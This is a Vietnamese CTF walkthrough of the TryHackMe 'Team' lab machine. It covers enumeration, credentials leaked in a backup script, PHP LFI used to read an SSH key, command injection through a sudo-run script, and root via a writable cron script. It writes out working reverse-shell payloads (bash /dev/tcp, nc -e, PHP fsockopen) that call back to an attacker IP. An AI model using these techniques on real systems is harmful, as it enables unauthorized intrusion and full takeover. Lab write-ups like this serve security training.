Tryhackme - Team

  1. Reconnaissance
  2. Privilege escalation

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Team

Reconnaissance

Đầu tiên, như thường lệ, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
|   256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_  256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Tôi thử truy cập ftp với anonymous nhưng không thể, vậy nên tôi sẽ bắt đầu kiểm tra web.

Với port 80 tôi có 1 default page của apache, thử check qua source web

default page

Tôi phải thêm domain vào /etc/hosts, sau đó truy cập team.thm

team.thm

Đây là 1 trang blog về ảnh, kiểm tra source web thì cũng không gì đặc biệt lắm. Khi tôi thử qua các path đơn giản, trong robots.txt chỉ có 1 chữ ‘dale’, có thể đây là 1 cái tên chăng?

Thử dùng dirsearch để tìm xem có path ẩn nào không

[04:06:01] Starting: 
[04:06:10] 403 -  273B  - /.ht_wsr.txt                                     
[04:06:10] 403 -  273B  - /.htaccess.bak1
[04:06:10] 403 -  273B  - /.htaccess.sample
[04:06:10] 403 -  273B  - /.htaccess.orig
[04:06:10] 403 -  273B  - /.htaccess.save
[04:06:10] 403 -  273B  - /.htaccess_extra
[04:06:10] 403 -  273B  - /.htaccess_orig
[04:06:10] 403 -  273B  - /.htaccess_sc
[04:06:10] 403 -  273B  - /.htaccessOLD
[04:06:10] 403 -  273B  - /.htaccessBAK
[04:06:10] 403 -  273B  - /.htaccessOLD2
[04:06:10] 403 -  273B  - /.html                                           
[04:06:10] 403 -  273B  - /.htm
[04:06:10] 403 -  273B  - /.htpasswd_test
[04:06:10] 403 -  273B  - /.htpasswds
[04:06:10] 403 -  273B  - /.httr-oauth
[04:06:13] 403 -  273B  - /.php                                            
[04:06:46] 301 -  305B  - /assets  ->  http://team.thm/assets/              
[04:06:46] 403 -  273B  - /assets/
[04:07:08] 200 -  755B  - /images/                                          
[04:07:08] 301 -  305B  - /images  ->  http://team.thm/images/              
[04:07:09] 200 -    3KB - /index.html                                       
[04:07:33] 200 -    5B  - /robots.txt                                       
[04:07:34] 301 -  306B  - /scripts  ->  http://team.thm/scripts/            
[04:07:34] 403 -  273B  - /scripts/                                         
[04:07:35] 403 -  273B  - /server-status                                    
[04:07:35] 403 -  273B  - /server-status/      

Khi thử truy cập vào /assets/scripts đều ra lỗi 403 - không có quyền truy cập, có nghĩa là tôi không có quyền truy cập vào path này để xem bên trong có những file gì, nhưng nếu tôi có thể tìm đúng tên file trong này thì tôi vẫn có thể xem được nội dung của nó.

Thử dùng dirsearch 1 lần nữa và thêm path cũng như đuôi file, nhưng tôi không hiểu vì sao dùng dirseach thì không ra gì mà dùng gobuster thì sẽ ra file script.txt

┌──(neokali)-[~]
└─$ gobuster dir -u http://team.thm/scripts/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 100              
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://team.thm/scripts/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/09/25 04:50:31 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 273]
/.htaccess.php        (Status: 403) [Size: 273]
/.hta.php             (Status: 403) [Size: 273]
/.htaccess.txt        (Status: 403) [Size: 273]
/.hta.txt             (Status: 403) [Size: 273]
/.htaccess            (Status: 403) [Size: 273]
/.htpasswd            (Status: 403) [Size: 273]
/.htpasswd.php        (Status: 403) [Size: 273]
/.htpasswd.txt        (Status: 403) [Size: 273]
/script.txt           (Status: 200) [Size: 597]

Truy cập thử vào file này

#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in

Đây là 1 file backup đăng nhập ftp server, tôi để ý dòng cuối cùng có nói rằng phải thay đổi đuôi của file script cũ vì file này có chứa thông tin truy cập, vậy là file script cũ sẽ có tên là script và đuôi cũ??? :shit:

Và đúng là đuôi cũ thật khi tôi thử /script.old và nó ra kết quả

#!/bin/bash
read -p "Enter Username: " ftpuser
read -sp "Enter Username Password: " T3@m$h@r3
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

Thử truy cập vào ftp server

ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15  2021 workshare
ftp> cd workshare
250 Directory successfully changed.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15 21:25 .
drwxr-xr-x    5 65534    65534        4096 Jan 15 21:25 ..
-rwxr-xr-x    1 1002     1002          269 Jan 15 21:24 New_site.txt
226 Directory send OK.
ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).

New_site.txt

Dale
    I have started coding a new website in PHP for the team to use, this is currently under development. It can be found at ".dev" within our domain.

Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.

Gyles

Tôi sẽ thử thêm subdomain “dev” vào file hosts và truy cập lại và dev.team.thmm

dev.team.thm

Thử ấn vào link và tôi được chuyển sang 1 trang khác

lfi

Nhìn vào url thì tôi nghĩ ngay đến PHP LFI. Mở Burpsuite để bắt request và thay đổi teamshare.php thành file muốn mở

Burp

Với file passwd tôi có 2 user ở đây là dalegyles. Thực ra thì nếu để tìm user flag với lỗ hổng này, tôi có thể thử các path để xem file user.txt nằm ở đâu và xem được nội dung của nó. Tuy nhiên với mục đích có thể leo thực thi RCE và leo thang đặc quyền thì tôi sẽ thử cách khác.

Quay lại với file txt mà tôi có phía trên, tôi có 1 key ssh bên trong file config nào đó. Thường thì trong /etc/ của Ubuntu sẽ có tệp ssh chứa file config, nên tôi sẽ thử cầu may 1 chút xem có file này trong máy chủ mục tiêu hay không, thêm nữa đây là 1 machine mức Easy nên tôi nghĩ sẽ không có quá nhiều thay đổi với các file đã có sẵn

id_rsa

Đúng như tôi nghĩ, bản copy của id_rsa nằm trong này. Sao chép nó về, xáo các dấu # và thử login ssh bằng key này

┌──(neokali)-[~]
└─$ ssh -i id_rsa dale@10.10.133.54        
The authenticity of host '10.10.133.54 (10.10.133.54)' can't be established.
ED25519 key fingerprint is SHA256:33en2c6AmAEzI4zDeUH4EyLRpyzjrXxptkcSHBnTVbA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.133.54' (ED25519) to the list of known hosts.
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)
dale@TEAM:~$
dale@TEAM:~$ ls
user.txt
dale@TEAM:~$

Privilege escalation

sudo -l

dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks
dale@TEAM:~$

Check qua file admin_checks thì đây là 1 file script

dale@TEAM:~$ cd /home/gyles/
dale@TEAM:/home/gyles$ cat admin_checks 
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"


dale@TEAM:/home/gyles$

Khi nhập trường $name, nó sẽ ghi vào file stats.txt, còn nhập trường $date thì nó sẽ ghi vào biến ‘error’ và thực thi nó error 2>/dev/null

dale@TEAM:/home/gyles$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: hihi
Enter 'date' to timestamp the file: 
The Date is Stats have been backed up
dale@TEAM:/home/gyles$ cat /var/stats/stats.txt
Website_views=1337
Unique_views=436
Disc_members=16
Events_won=1


anon
anon
anon
anon
anon
anon
anon
anon
anon
hihi
dale@TEAM:/home/gyles$ 

Thay vì nhập ngày tháng thì tôi sẽ nhập 1 injection đơn giản

dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: gyles
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
gyles

Khi nhập command thì nó sẽ hiện kết quả chứ không hiện dữ liệu tôi nhập vào, config lại shell với python: python3 -c 'import pty;pty.spawn("/bin/bash")'

gyles@TEAM:~$ ls
user.txt
gyles@TEAM:~$ pwd
/home/dale
gyles@TEAM:~$ cd /home/gyles
gyles@TEAM:~$
gyles@TEAM:/home/gyles$ ls -la
total 48
drwxr-xr-x 6 gyles gyles   4096 Jan 17  2021 .
drwxr-xr-x 5 root  root    4096 Jan 15  2021 ..
-rwxr--r-- 1 gyles editors  399 Jan 15  2021 admin_checks
-rw------- 1 gyles gyles   5639 Jan 17  2021 .bash_history
-rw-r--r-- 1 gyles gyles    220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 gyles gyles   3771 Apr  4  2018 .bashrc
drwx------ 2 gyles gyles   4096 Jan 15  2021 .cache
drwx------ 3 gyles gyles   4096 Jan 15  2021 .gnupg
drwxrwxr-x 3 gyles gyles   4096 Jan 15  2021 .local
-rw-r--r-- 1 gyles gyles    807 Apr  4  2018 .profile
drwx------ 2 gyles gyles   4096 Jan 15  2021 .ssh
-rw-r--r-- 1 gyles gyles      0 Jan 17  2021 .sudo_as_admin_successful

Thử xem file .bash_history vì tôi thấy dung lượng của nó khá lớn. Phân tích qua file này thì tôi để ý thấy có 1 thư mục mà user này sử dụng để thực hiện netcat trên quyền root

su root
cd /opt/admin_stuff/
ls -la
id
clear
./nc -e /bin/bash 192.168.88.128 4444
ls -la
sudo chmod g+s nc 
ls
ls -la
./nc -e /bin/bash 192.168.88.128 4444
ls -la
cat /etc/crontab 
php
which php
ls -la
php -r '$sock=fsockopen("192.168.88.128",4444);exec ("/bin/sh -i <&3 >&3 2>&3");'
exit

Đi đến thư mục này

gyles@TEAM:/home/gyles$ ls /opt/admin_stuff/
script.sh
gyles@TEAM:/home/gyles$ cat /opt/admin_stuff/script.sh 
#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
gyles@TEAM:/home/gyles$ 

Kiểm tra qua 2 file dev_backup.shmain_backup.sh, tôi để ý thấy file main_backup.sh có thể chỉnh sửa được với user gyles vì cùng nằm trong group admin

gyles@TEAM:/home/gyles$ ls -la /usr/local/sbin/dev_backup.sh
-rwxr-xr-x 1 root root 64 Jan 17  2021 /usr/local/sbin/dev_backup.sh
gyles@TEAM:/home/gyles$ ls -la /usr/local/bin/main_backup.sh
-rwxrwxr-x 1 root admin 65 Jan 17  2021 /usr/local/bin/main_backup.sh
gyles@TEAM:/home/gyles$ 

Tạo listener với port 2402: nc -lnvp 2402

Thêm payload vào file main_backup.sh

gyles@TEAM:/home/gyles$ cat /usr/local/bin/main_backup.sh 
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.18.3.74/2402 0>&1
┌──(neokali)-[~]
└─$ nc -lnvp 2402
listening on [any] 2402 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.27.48] 48290
bash: cannot set terminal process group (1968): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~# id
id
uid=0(root) gid=0(root) groups=0(root),1004(admin)
root@TEAM:~# ls /root
ls /root
root.txt
root@TEAM:~# 

© 2024. All rights reserved.